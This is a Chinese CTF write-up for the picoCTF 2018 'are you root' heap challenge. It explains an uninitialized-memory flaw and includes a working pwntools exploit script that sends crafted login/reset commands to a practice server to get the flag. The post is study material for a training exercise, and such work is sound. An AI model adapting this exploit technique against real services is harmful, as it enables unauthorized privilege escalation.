zoukankan      html  css  js  c++  java
  • picoctf_2018_are you root

    picoctf_2018_are you root

    安全检查

     流程分析

    在这里有malloc一个堆出来

     满足条件获取flag

     释放先前拷贝出来的字符串

    漏洞分析

    • 只要满足一开始申请的字符串中的偏移8满足等于5的条件便可以
    • 先login创建了两个堆,然后把偏移为8的地方覆盖为5,再把他释放了
    • 上一步释放后在填入,便可以存储他的堆的偏移8为5了,满足条件
    from pwn import *
    
    context.log_level='debug'
    
    #p=process('./PicoCTF_2018_are_you_root')
    p=remote('node3.buuoj.cn',25174)
    
    def login(content):
        p.recvuntil('>')
        p.sendline('login '+content)
    
    def reset():
        p.recvuntil('>')
        p.sendline('reset')
    
    def get_flag():
        p.recvuntil('>')
        p.sendline('get-flag')
    
    login('a'*8+p64(0x5))
    reset()
    login('PYozo')
    get_flag()
    #gdb.attach(p)
    
    p.interactive()

    学习总结

    这道题本身不难,一开始没怎么看懂,然后看到了haivk师傅的博客后,发现是道未初始化验证漏洞题,这也是我第一次接触这种题吧,然后开始认真的分析了下流程,一直没注意释放的是*ptr,而不是ptr所以一开始没看到,到后面突然看清楚了

  • 相关阅读:
    访问者模式
    解释器模式
    享元模式
    职责链模式
    中介者模式
    单例模式
    桥接模式
    命令模式
    迭代器模式
    Python 学习笔记15 类
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13986360.html
Copyright © 2011-2022 走看看